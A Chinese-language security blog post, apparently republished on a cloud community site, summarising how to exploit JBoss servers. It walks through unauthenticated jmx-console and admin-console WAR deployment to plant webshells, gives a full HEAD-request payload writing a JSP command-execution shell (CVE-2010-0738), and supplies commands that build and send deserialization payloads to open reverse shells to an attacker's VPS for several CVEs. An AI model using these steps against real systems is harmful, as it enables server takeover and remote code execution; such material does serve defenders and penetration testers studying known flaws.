专栏首页黑白天安全团队Jboss漏洞利用总结

Jboss漏洞利用总结

JBOSS简介

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发,这使得JBoss广为流行。

漏洞汇总

访问控制不严导致的漏洞 Jboss管理控制台 Jboss4.x jboss 4.x 及其之前的版本 console 管理路径为 /jmx-console/ 和 /web-console/ 。 jmx-console的配置文件为

/opt/jboss/jboss4/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml  #jboss的绝对路径不同网站不一样

web-console的配置文件为

/opt/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml  #jboss的绝对路径不同网站不一样

web-console的配置文件为

/opt/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml  #jboss的绝对

控制台账号密码 jmx-console 和 web-console共用一个账号密码 ,账号密码文件在

/opt/jboss/jboss4/server/default/conf/props/jmx-console-users.properties

JMX Console未授权访问Getshell

漏洞描述 此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到jmx控制台,并在其中执⾏任何功能。

影响版本 Jboss4.x以下

漏洞利⽤ Jboxx4.x /jmx-console/ 后台存在未授权访问,进入后台后,可直接部署 war 包Getshell。若需登录,可以尝试爆破弱口令登录。

然后找到jboss.deployment(jboss 自带的部署功能)中的flavor=URL,type=DeploymentScanner点进去(通过 url 的方式远程部署)

也可以直接输入URL进入

http://xx.xx.xx.xx:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL

找到页面中的void addURL()选项来远程加载war包来部署。

查看部署是否成功 返回到刚进入jmx-console的页面,找到 jboss.web.deployment,如下说明部署成功。如果没显示,多刷新几次页面或者等会儿,直到看到有部署的war包即可

访问我们的木马

通常像上面这样部署的webshell,物理路径默认都会在以下目录下
\jboss-4.2.3.GA\server\default\tmp\deploy\xxx.war
而这个目录最多用作临时维持下权限,所以可以把shell传到jmx-console的默认目录来巩固权限
\jboss-4.2.3.GA\server\default\deploy\jmx-console.war

JMX Console HtmlAdaptor Getshell(CVE-2007-1036)

漏洞描述

此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到jmx控制台,并在其中执⾏任何功能。该漏洞利⽤的是后台中jboss.admin -> DeploymentFileRepository -> store()⽅法,通过向四个参数传⼊信息,达到上传shell的⽬的,其中arg0传⼊的是部署的war包名字,arg1传⼊的是上传的⽂件的⽂件名,arg2传⼊的是上传⽂件的⽂件格式,arg3传⼊的是上传⽂件中的内容。通过控制这四个参数即可上传shell,控制整台服务器。

影响版本 Jboss4.x以下

漏洞利用 输⼊url

http://目标IP:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository

定位到store⽅法

通过向四个参数传入信息,达到上传shell的目,
arg1传入的是部署的war包名字
arg2传入的是上传的文件的文件名
arg3传入的是上传文件的文件格式
arg4传入的是上传文件中的内容
通过控制这四个参数即可上传shell,控制整台服务器。

后面的CVE-2010-0738和CVE-2006-5750漏洞也存在这一特性。

JMX控制台安全验证绕过漏洞(CVE-2010-0738)

漏洞描述 该漏洞利⽤⽅法跟CVE-2007-1036⼀样,只是绕过了get和post传输限制,利⽤ head传输⽅式发送payload

影响版本 jboss4.2.0、jboss 4.3.0

漏洞利⽤ 利⽤head传输⽅式,payload如下:

HEAD /jmx-console/HtmlAdaptor?
action=invokeOp&name=jboss.admin:service=DeploymentFileRepository&methodIn
dex=6&arg0=../jmx-console.war/&arg1=hax0rwin&arg2=.jsp&arg3=
<%Runtime.getRuntime().exec(request.getParameter("i"));%>&arg4=True
HTTP/1.1
Host: hostx:portx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.9)
Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive

CVE-2006-5750

此漏洞利用原理和CVE-2007-1036漏洞相同,唯一的区别是CVE-2006-5750漏洞利用methodIndex进行store()方法的调用。其中methodIndex是通过方法的编号进行调用。

Jboss5.x/6.x控制台

Jboss5.x开始弃用了 web-console ,增加了 admin-console。jboss5.x / 6.x 版本 console 路径为 /jmx-console/ 和 /admin-console/。

jmx-console的配置文件为

jboss/common/deploy/jmx-console.war/WEB-INF/jboss-web.xml  #jboss的绝对路径不同网站不一样

admin-console的配置文件为

jboss/common/deploy/admin-console.war/WEB-INF/jboss-web.xml   #jboss的绝对路径不同网站不一样

控制台账号密码 jmx-console 和 web-console 共用一个账号密码 ,账号密码文件在

jboss/server/default/conf/props/jmx-console-users.properties

Jboss 5.x/6.x admin-Console后台部署war包Getshell Jboss5.X开始,jmx-console不能部署war包了,需要admin-console后台部署 登录进admin-console后台后,点击Web Application(WAR)s ,然后Add a new resource

这里选择我们本地生成好的war包

访问木马成功

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

这是经典的 JBoss 反序列化漏洞,
JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码。
由于JBoss中invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件⽀持Java反序列化

影响版本 实际上主要集中在 jboss 6.x 版本上:

 Apache Group Commons Collections 4.0
 Apache Group Commons Collections 3.2.1
 Apache Group Commons Collections

漏洞探测 此漏洞存在于JBoss中 /invoker/JMXInvokerServlet 路径。访问若提示下载 JMXInvokerServlet,则可能存在漏洞。

我们先启动靶机环境,访问:http://yourip:8080/

下面使用JavaDeserH2HC 生成反弹 shell 的 payload

 javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
 java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 公网vps的ip:端口号
 curl http://目标IP:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

进行文件编译 生成载荷的序列化文件xx.ser(反弹shell到我们的vps) 利用curl提交我们的ser文件

vps使用nc监听端口 成功反弹

JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞

此漏洞和CVE-2015-7501漏洞原理相同,两者的区别就在于两个漏洞选择的进行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。

影响版本 实际上主要集中在 jboss 6.x 版本上:

 Apache Group Commons Collections 4.0
 Apache Group Commons Collections 3.2.1
 Apache Group Commons Collections

漏洞利用 跟CVE-2015-7501利⽤⽅法⼀样,只是路径不⼀样,这个漏洞利⽤路径是 /invoker/EJBInvokerServlet

JBOSSMQ JMS CVE-2017-7504 集群反序列化漏洞 4.X

漏洞描述 JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。

影响版本 JBoss AS 4.x及之前版本

漏洞利用 1、首先验证目标jboss是否存在此漏洞,直接访问 /jbossmq-httpil/HTTPServerILServlet 路径下。若访问200,则可能存在漏洞。

此处我们使用JavaDeserH2HC工具来利用该漏洞,尝试直接弹回一个shell

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 反弹的IP:端口
curl http://目标IP:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ReverseShellCommonsCollectionsHashMap.ser

成功反弹shell

JBoss 5.x/6.x CVE-2017-12149 反序列化漏洞 漏洞描述

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
该漏洞出现在**/invoker/readonly**请求中,服务器将用户提交的POST内容进行了Java反序列化,导致传入的携带恶意代码的序列化数据执行。

影响版本 JbossAS 5.x JbossAS 6.x

漏洞验证POC http://目标:8080/invoker/readonly 如果出现报 500 错误,则说明目标机器可能存在此漏洞

漏洞利用 首先从http响应头和title中一般情况下都能看到信息来确定目标 jboss 版本是否在此漏洞版本范围

现成工具

接下来借助JavaDeserH2HC来完成整个利用过程 首先尝试直接反弹shell,利用JavaDeserH2HC创建好用于反弹shell的 payload,如下

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap vps的ip:端口
然后尝试利用curl发送payload到目标机器上执行后,发现vps已成功接弹回的shell
curl http://www.target.net/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

成功反弹shell。

参考文献: https://blog.csdn.net/qq_36119192/article/details/103899123 https://www.freebuf.com/articles/web/240174.html

本文分享自微信公众号 - 黑白天(HBT-SEC),作者:黑白天安全团队

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-08-03

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 域信息收集自动脚本​WinPwn

    https://github.com/S3cur3Th1sSh1t/WinPwn#sessiongopher---executes-sessiongopher-...

    cn0sec
  • Linux中SUID权限解读

    现在我们就要开始说这个Suid权限了。我们创建了一个test账号,一个账号最基本的功能就是给自己修改密码。在linux中,修改密码的命令为passwd。但是,p...

    cn0sec
  • SQL注入的原理

    Sql注入攻击  SQL注入攻击通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作...

    cn0sec
  • 高质量编码-EchartsLayer

    使用函数式编程,这也是现在大数据处理的方式和思想。注意shapefile的线数据可以有LineString和MultiLineString两种类型,我们在代码中...

    MiaoGIS
  • 1.1.1 计算机网络的概念

    计算机网络是一个将分散的,具有独立功能的计算机系统,通过通信设备与线路连接起来,由功能完善的软件实现资源共享和信息传递的系统。简而言之, 计算机网络就是一些互连...

    week
  • Centos7安装时遇到的问题及解决方法

    Centos 是用U盘启动器安装的,如果是第一次安装Linux 系统,建议OS使用中文语言安装。安装过程比较简单,再这里只是记录下安装后遇到的一些问题。

    云雀叫了一整天
  • 构建 EOS 区块链浏览器 API

    在上一篇 文章 中笔者讲解了如何将 EOS 链上数据实时异构到 MySQL 数据库。数据既然有了,就要有用武之地。传统互联网获取数据的方式,最底层是数据层,然后...

    robinwen
  • android EventBus 3.0使用指南

    Enventbus的作用和好处我就不多说了,这里介绍下怎么使用。 2.+版本的使用方法 public void onEvent(MessageEvent eve...

    xiangzhihong
  • 接口测试平台:支持SQL语句执行(Mysql、Oracle)

    数据库管理这一块,无外乎简单的增删改查,主要是为了保存数据库信息,在此不做过多展开。

    软件测试君
  • [Leetcode][python]Add Two Numbers/两数相加

    给定两个链表分别代表两个非负整数。数位以倒序存储,并且每一个节点包含一位数字。将两个数字相加并以链表形式返回。

    后端技术漫谈

扫码关注云+社区

领取腾讯云代金券